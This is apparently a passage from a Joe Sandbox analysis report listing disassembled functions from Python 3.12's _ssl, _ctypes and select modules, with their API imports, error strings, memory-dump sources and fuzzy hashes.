PyBytes_FromStringAndSize.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC9680
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC96AA
PyErr_SetString.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC96F0
SSL_get_rbio.LIBSSL-3(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC9718
BIO_ctrl.LIBCRYPTO-3(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC972D
SSL_get_wbio.LIBSSL-3(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC9737
BIO_ctrl.LIBCRYPTO-3(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC9748
_PyDeadline_Init.PYTHON312 ref: 00007FFE11EC9764
PyEval_SaveThread.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC9777
SSL_read_ex.LIBSSL-3(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC978F
PyEval_RestoreThread.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC97C3
PyErr_CheckSignals.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC97D8
_PyDeadline_Get.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC97F2
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC98CD

Part of subcall function 00007FFE11EC6598: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC65B0
Part of subcall function 00007FFE11EC6598: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC65D9

SSL_get_shutdown.LIBSSL-3(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC9847
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC988F
_PyBytes_Resize.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC98A2
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC98FB
PyLong_FromSize_t.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC990A

Strings

The read operation timed out, xrefs: 00007FFE11EC986D
maximum length can't fit in a C 'int', xrefs: 00007FFE11EC96E6
size should not be negative, xrefs: 00007FFE11EC9624
Underlying socket connection gone, xrefs: 00007FFE11EC964D

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Dealloc$Err_String$Bytes_Deadline_Eval_FromO_ctrlThread$CheckInitL_get_rbioL_get_shutdownL_get_wbioL_read_exLong_ObjectR_clear_errorR_peek_last_errorResizeRestoreSaveSignalsSizeSize_tWeakref_
String ID: The read operation timed out$Underlying socket connection gone$maximum length can't fit in a C 'int'$size should not be negative
API String ID: 2735577670-665203206
Opcode ID: 45381d095979e6a5c4fa07b50935bd70093201e68af3cd9ede9ec5db51607fbb
Instruction ID: dfb27c5140b840630ba97fd0e60f2913d1e8ebbcde0c308929539720eac09990
Opcode Fuzzy Hash: 45381d095979e6a5c4fa07b50935bd70093201e68af3cd9ede9ec5db51607fbb
Instruction Fuzzy Hash: 34A12C32A09E1285EB659BA79C4077F63A8BF44BA4F950075CD1E47AA4EF3EB442C340

Function 00007FFE13384578 Relevance: 44.0, APIs: 18, Strings: 7, Instructions: 220COMMON

Download Yara Rule

APIs

_PyObject_LookupAttr.PYTHON312 ref: 00007FFE133845C0
_PyLong_Sign.PYTHON312 ref: 00007FFE133845EF
PyLong_AsSsize_t.PYTHON312 ref: 00007FFE13384602
_PyObject_LookupAttr.PYTHON312 ref: 00007FFE1338463D
PyMem_Malloc.PYTHON312 ref: 00007FFE133846B9
PyDict_Update.PYTHON312 ref: 00007FFE13384760
_Py_Dealloc.PYTHON312 ref: 00007FFE13384788
PyErr_SetString.PYTHON312 ref: 00007FFE1338943E
_Py_Dealloc.PYTHON312 ref: 00007FFE13389454
_Py_Dealloc.PYTHON312 ref: 00007FFE13389475
_Py_Dealloc.PYTHON312 ref: 00007FFE1338948B
PyErr_Occurred.PYTHON312 ref: 00007FFE13389497
PyErr_ExceptionMatches.PYTHON312 ref: 00007FFE133894B0
PyErr_SetString.PYTHON312 ref: 00007FFE133894E0
_Py_Dealloc.PYTHON312 ref: 00007FFE133894F4
_Py_Dealloc.PYTHON312 ref: 00007FFE1338950E
_Py_Dealloc.PYTHON312 ref: 00007FFE1338952A
PyErr_NoMemory.PYTHON312 ref: 00007FFE13389536

Strings

The '_length_' attribute must not be negative, xrefs: 00007FFE13389482
_type_ must have storage info, xrefs: 00007FFE133894C6
array too large, xrefs: 00007FFE133894D6
class must define a '_length_' attribute, xrefs: 00007FFE13389414
The '_length_' attribute is too large, xrefs: 00007FFE13389434
class must define a '_type_' attribute, xrefs: 00007FFE1338941D
The '_length_' attribute must be an integer, xrefs: 00007FFE13389461

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Err_$AttrLong_LookupObject_String$Dict_ExceptionMallocMatchesMem_MemoryOccurredSignSsize_tUpdate
String ID: The '_length_' attribute is too large$The '_length_' attribute must be an integer$The '_length_' attribute must not be negative$_type_ must have storage info$array too large$class must define a '_length_' attribute$class must define a '_type_' attribute
API String ID: 1851186263-504660705
Opcode ID: 4e9f5380140d5d6a715632668d9b63c0c1264038a6ea6b4d80d869106dd817c0
Instruction ID: e6948fb895fae657821f9f1f24c5a4e224ad3c2d26c2d1c99d1619424e34f0cf
Opcode Fuzzy Hash: 4e9f5380140d5d6a715632668d9b63c0c1264038a6ea6b4d80d869106dd817c0
Instruction Fuzzy Hash: D3B11B31E09E02C9EB549B26D88027D23A1EF65BB4F5442F5D97E66AB4DF3CE4C58308

Function 00007FFE1338AD80 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 215COMMON

Download Yara Rule

APIs

PyIndex_Check.PYTHON312 ref: 00007FFE1338ADA1
PyNumber_AsSsize_t.PYTHON312 ref: 00007FFE1338ADBA
PyErr_Occurred.PYTHON312 ref: 00007FFE1338ADC9
PyNumber_AsSsize_t.PYTHON312 ref: 00007FFE1338AE30
PyErr_Occurred.PYTHON312 ref: 00007FFE1338AE3F
PyNumber_AsSsize_t.PYTHON312 ref: 00007FFE1338AE77
PyErr_Occurred.PYTHON312 ref: 00007FFE1338AE86
PyNumber_AsSsize_t.PYTHON312 ref: 00007FFE1338AEB5
PyErr_Occurred.PYTHON312 ref: 00007FFE1338AEC4
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE1338AF48
PyMem_Malloc.PYTHON312 ref: 00007FFE1338AF65
PyErr_NoMemory.PYTHON312 ref: 00007FFE1338AF73
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE1338AF99
PyMem_Free.PYTHON312 ref: 00007FFE1338AFA5
PyUnicode_New.PYTHON312 ref: 00007FFE1338AFDD
PyUnicode_FromWideChar.PYTHON312 ref: 00007FFE1338AFF5
PyList_New.PYTHON312 ref: 00007FFE1338B057
PyErr_SetString.PYTHON312 ref: 00007FFE1338B09E

Strings

slice start is required for step < 0, xrefs: 00007FFE1338AE1D
Pointer indices must be integer, xrefs: 00007FFE1338B094
slice step cannot be zero, xrefs: 00007FFE1338AE55
slice stop is required, xrefs: 00007FFE1338AEA2

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$Number_OccurredSsize_t$FromString$Bytes_Mem_SizeUnicode_$CharCheckFreeIndex_List_MallocMemoryWide
String ID: Pointer indices must be integer$slice start is required for step < 0$slice step cannot be zero$slice stop is required
API String ID: 3053630023-3059441807
Opcode ID: ed824a7d7e18ffa34b10e853f35eb087fb34927b137f71a583c918f0fc3ad82a
Instruction ID: 72b339d07b65a060d298a88a9320d7d35e90070ec0fcff4294f4085322942042
Opcode Fuzzy Hash: ed824a7d7e18ffa34b10e853f35eb087fb34927b137f71a583c918f0fc3ad82a
Instruction Fuzzy Hash: A9912861E0DE02C9FA159B17999413C2366AF64BF0B544BF5D93E66BF0DF2CE4868308

Function 00007FFE11EC6388 Relevance: 42.1, APIs: 23, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SSL_get_servername.LIBSSL-3 ref: 00007FFE11EC63AB
PyGILState_Ensure.PYTHON312 ref: 00007FFE11EC63B4
PyGILState_Release.PYTHON312 ref: 00007FFE11EC63C6
SSL_get_ex_data.LIBSSL-3 ref: 00007FFE11EC63D8
PyWeakref_GetObject.PYTHON312 ref: 00007FFE11EC63F3
PyObject_CallFunctionObjArgs.PYTHON312 ref: 00007FFE11EC6425
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC645B
PyGILState_Release.PYTHON312 ref: 00007FFE11EC646B
PyUnicode_FromEncodedObject.PYTHON312 ref: 00007FFE11EC649C
PyErr_WriteUnraisable.PYTHON312 ref: 00007FFE11EC64AD
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC64C0
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC64D6
PyObject_CallFunctionObjArgs.PYTHON312 ref: 00007FFE11EC64EF
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC6506
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC651A
PyErr_WriteUnraisable.PYTHON312 ref: 00007FFE11EC6529
PyLong_AsLong.PYTHON312 ref: 00007FFE11EC654B
PyErr_Occurred.PYTHON312 ref: 00007FFE11EC6554
PyErr_WriteUnraisable.PYTHON312 ref: 00007FFE11EC6562
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC6582
PyGILState_Release.PYTHON312 ref: 00007FFE11EC658B

Strings

ascii, xrefs: 00007FFE11EC6492

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Dealloc$Err_State_$ReleaseUnraisableWrite$ArgsCallFunctionObjectObject_$EncodedEnsureFromL_get_ex_dataL_get_servernameLongLong_OccurredUnicode_Weakref_
String ID: ascii
API String ID: 3188396730-3510295289
Opcode ID: 189e6f42e4bf677b20598d57cd1a8db104f5d28d2a2e070db8670a357d3dd53c
Instruction ID: e662d7890faa77d69bf34ad896d2c5ab795b7a3c0ff4a1dd9c3f403490f62b27
Opcode Fuzzy Hash: 189e6f42e4bf677b20598d57cd1a8db104f5d28d2a2e070db8670a357d3dd53c
Instruction Fuzzy Hash: 0351FA26A08E0285EB549F93ED5437FA3A9BB49BB4F8444B0CA0E46764DF3EF4458B40

Function 00007FFE132122F8 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 206timethreadnetworkCOMMON

Download Yara Rule

APIs

_PyTime_FromSecondsObject.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212356
PyErr_ExceptionMatches.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE1321236A
PyErr_SetString.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132123B6

Part of subcall function 00007FFE1321266C: PySequence_Fast.PYTHON312(00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212694

_PyDeadline_Init.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212471
PyEval_SaveThread.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132124AB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132124B4
select.WS2_32(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132124CD
PyEval_RestoreThread.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132124D9
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132124DF
PyErr_CheckSignals.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132124EE
_PyDeadline_Get.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE1321250B
_PyTime_AsTimeval_clamp.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212529
PyErr_Occurred.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212584
PyTuple_Pack.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE1321259D
_Py_Dealloc.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132125BA
_Py_Dealloc.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132125D3
_Py_Dealloc.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE132125EC
WSAGetLastError.WS2_32(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212652
PyErr_SetExcFromWindowsErr.PYTHON312(?,?,?,00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212664

Part of subcall function 00007FFE1321266C: PyObject_AsFileDescriptor.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE13212709
Part of subcall function 00007FFE1321266C: PyErr_SetString.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE1321278F
Part of subcall function 00007FFE1321266C: _Py_Dealloc.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE132127A3
Part of subcall function 00007FFE1321266C: _Py_Dealloc.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE132127B7

Part of subcall function 00007FFE1321266C: _Py_Dealloc.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE132127D2

Strings

timeout must be non-negative, xrefs: 00007FFE132123AC
timeout must be a float or None, xrefs: 00007FFE1321237B

Memory Dump Source

Source File: 00000001.00000002.2090152512.00007FFE13211000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFE13210000, based on PE: true

Associated: 00000001.00000002.2090134264.00007FFE13210000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090189636.00007FFE13215000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13210000_file.jbxd

Similarity

API ID: DeallocErr_$Deadline_Eval_FromStringThreadTime__errno$CheckDescriptorErrorExceptionFastFileInitLastMatchesObjectObject_OccurredPackRestoreSaveSecondsSequence_SignalsTimeval_clampTuple_Windowsselect
String ID: timeout must be a float or None$timeout must be non-negative
API String ID: 1581318368-2150404077
Opcode ID: d788fc8d8f2c4c3425777ff2c68e582025ccc74bbe31b0ae76aafc8d094d01c2
Instruction ID: a5f2385d8be8203713a592a5cabc35dd6465d8088b5518eb86b75d81e90dc438
Opcode Fuzzy Hash: d788fc8d8f2c4c3425777ff2c68e582025ccc74bbe31b0ae76aafc8d094d01c2
Instruction Fuzzy Hash: 979185A1A08F8399E724AF23D9541B927A1FFE5BA4F400171EA4E676BADF3CD145C700

Function 00007FFE1338D194 Relevance: 38.6, APIs: 19, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

PyUnicode_InternFromString.PYTHON312 ref: 00007FFE1338D1C8
_PyImport_GetModuleAttrString.PYTHON312 ref: 00007FFE1338D1E3
PyErr_WriteUnraisable.PYTHON312 ref: 00007FFE1338D206
PyLong_FromVoidPtr.PYTHON312 ref: 00007FFE1338D219
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D235
PyLong_FromVoidPtr.PYTHON312 ref: 00007FFE1338D240
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D25C
PyLong_FromVoidPtr.PYTHON312 ref: 00007FFE1338D275
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D291
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D2A5
PyObject_CallFunctionObjArgs.PYTHON312 ref: 00007FFE1338D2C1
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D2D8
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D2EC
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D300
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D314
PyLong_AsLong.PYTHON312 ref: 00007FFE1338D326
PyErr_Occurred.PYTHON312 ref: 00007FFE1338D32E
PyErr_WriteUnraisable.PYTHON312 ref: 00007FFE1338D34E
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D369

Strings

_ctypes.DllGetClassObject, xrefs: 00007FFE1338D1C1
DllGetClassObject, xrefs: 00007FFE1338D1D5
ctypes, xrefs: 00007FFE1338D1DC

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$FromLong_$Err_Void$StringUnraisableWrite$ArgsAttrCallFunctionImport_InternLongModuleObject_OccurredUnicode_
String ID: DllGetClassObject$_ctypes.DllGetClassObject$ctypes
API String ID: 198946335-177550262
Opcode ID: 50fd08d7d1cd2f53d79157fc1af473c632895390db3db6f6d5eb5348b71e6813
Instruction ID: fe9b13994fc09c444d9553e356831c57c47df4aeb8bfe313a3ed0177da5b082b
Opcode Fuzzy Hash: 50fd08d7d1cd2f53d79157fc1af473c632895390db3db6f6d5eb5348b71e6813
Instruction Fuzzy Hash: 3B511131E09E02CAEB549F27A95813C63A5AF65BB1F0845F4D96E66A74DF3CE5808308

Function 00007FFE11EC4FD0 Relevance: 36.2, APIs: 24, Instructions: 170COMMON

Download Yara Rule

APIs

X509_NAME_entry_count.LIBCRYPTO-3 ref: 00007FFE11EC4FF4
PyList_New.PYTHON312 ref: 00007FFE11EC5003
PyList_New.PYTHON312 ref: 00007FFE11EC5017
X509_NAME_get_entry.LIBCRYPTO-3 ref: 00007FFE11EC5039
X509_NAME_ENTRY_set.LIBCRYPTO-3 ref: 00007FFE11EC504A
PyList_AsTuple.PYTHON312 ref: 00007FFE11EC5058
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC506F
PyList_Append.PYTHON312 ref: 00007FFE11EC5084
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC509A
PyList_New.PYTHON312 ref: 00007FFE11EC50AA
X509_NAME_ENTRY_set.LIBCRYPTO-3 ref: 00007FFE11EC50BF
X509_NAME_ENTRY_get_object.LIBCRYPTO-3 ref: 00007FFE11EC50CB
X509_NAME_ENTRY_get_data.LIBCRYPTO-3 ref: 00007FFE11EC50D7
PyList_Append.PYTHON312 ref: 00007FFE11EC50FF
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC5116
PyList_AsTuple.PYTHON312 ref: 00007FFE11EC514C
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC5163
PyList_Append.PYTHON312 ref: 00007FFE11EC5174
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC518A
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC51A2
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC51D2
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC51E8
PyList_AsTuple.PYTHON312 ref: 00007FFE11EC51F1
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC5208

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: DeallocList_$X509_$AppendTuple$Y_set$E_entry_countE_get_entryY_get_dataY_get_object
String ID:
API String ID: 3918441104-0
Opcode ID: 4c599279044c2b5926d546373239c01e32dbb33a6de82c31c37f6d26ac3af5bd
Instruction ID: 2a186e5cfd31517f62d195a94f8caea935c2e01f8f8a525aa1663e65ca05a725
Opcode Fuzzy Hash: 4c599279044c2b5926d546373239c01e32dbb33a6de82c31c37f6d26ac3af5bd
Instruction Fuzzy Hash: 7861FD31B09E0281EB595BA39D5837B62E9BF85BB1F8840B4CD0E466A1EF7EB4558340

Function 00007FFE1338A014 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

PyIndex_Check.PYTHON312 ref: 00007FFE1338A02F
PyNumber_AsSsize_t.PYTHON312 ref: 00007FFE1338A048
PyErr_Occurred.PYTHON312 ref: 00007FFE1338A057
PySlice_Unpack.PYTHON312 ref: 00007FFE1338A0A1
PySlice_AdjustIndices.PYTHON312 ref: 00007FFE1338A0BF
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE1338A108
PyMem_Malloc.PYTHON312 ref: 00007FFE1338A129
PyErr_NoMemory.PYTHON312 ref: 00007FFE1338A137
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE1338A15F
PyMem_Free.PYTHON312 ref: 00007FFE1338A16B
PyUnicode_New.PYTHON312 ref: 00007FFE1338A1A0
PyUnicode_FromWideChar.PYTHON312 ref: 00007FFE1338A1BD
PyList_New.PYTHON312 ref: 00007FFE1338A21E

Strings

indices must be integers, xrefs: 00007FFE1338A27D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: From$Bytes_Err_Mem_SizeSlice_StringUnicode_$AdjustCharCheckFreeIndex_IndicesList_MallocMemoryNumber_OccurredSsize_tUnpackWide
String ID: indices must be integers
API String ID: 4188490530-2024404580
Opcode ID: 7e0ff6f0a5d0ff9284adbb24ffdf336ec18a5df7b9e396be92a251029beb1260
Instruction ID: df7d0c6a33cb120c9e1c9c9230a118388f1413d6e9d73b860072e06bdbbbdcc8
Opcode Fuzzy Hash: 7e0ff6f0a5d0ff9284adbb24ffdf336ec18a5df7b9e396be92a251029beb1260
Instruction Fuzzy Hash: 4D714E21E09E4289FA649B53994407C2362EF64BF4B0442F5DD3E67FB4EE3DE4868308

Function 00007FFE13384A80 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 106COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON312 ref: 00007FFE13384A90
PyErr_Occurred.PYTHON312 ref: 00007FFE13384AA4
PyUnicode_FromFormat.PYTHON312 ref: 00007FFE13384ADC
PyObject_CallFunction.PYTHON312 ref: 00007FFE13384B0B
PyDict_SetItem.PYTHON312 ref: 00007FFE13384B2F
PyUnicode_FromFormat.PYTHON312 ref: 00007FFE13389654
PyObject_CallFunction.PYTHON312 ref: 00007FFE13389672
PyLong_FromVoidPtr.PYTHON312 ref: 00007FFE13389687
_Py_Dealloc.PYTHON312 ref: 00007FFE133896AE
PyErr_SetString.PYTHON312 ref: 00007FFE13389710

Strings

_type_, xrefs: 00007FFE13384AE2
must be a ctypes type, xrefs: 00007FFE13389706
N(O){}, xrefs: 00007FFE1338966B
LP_%s, xrefs: 00007FFE13384AD5
LP_%U, xrefs: 00007FFE1338964D
N(O){sO}, xrefs: 00007FFE13384B01

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

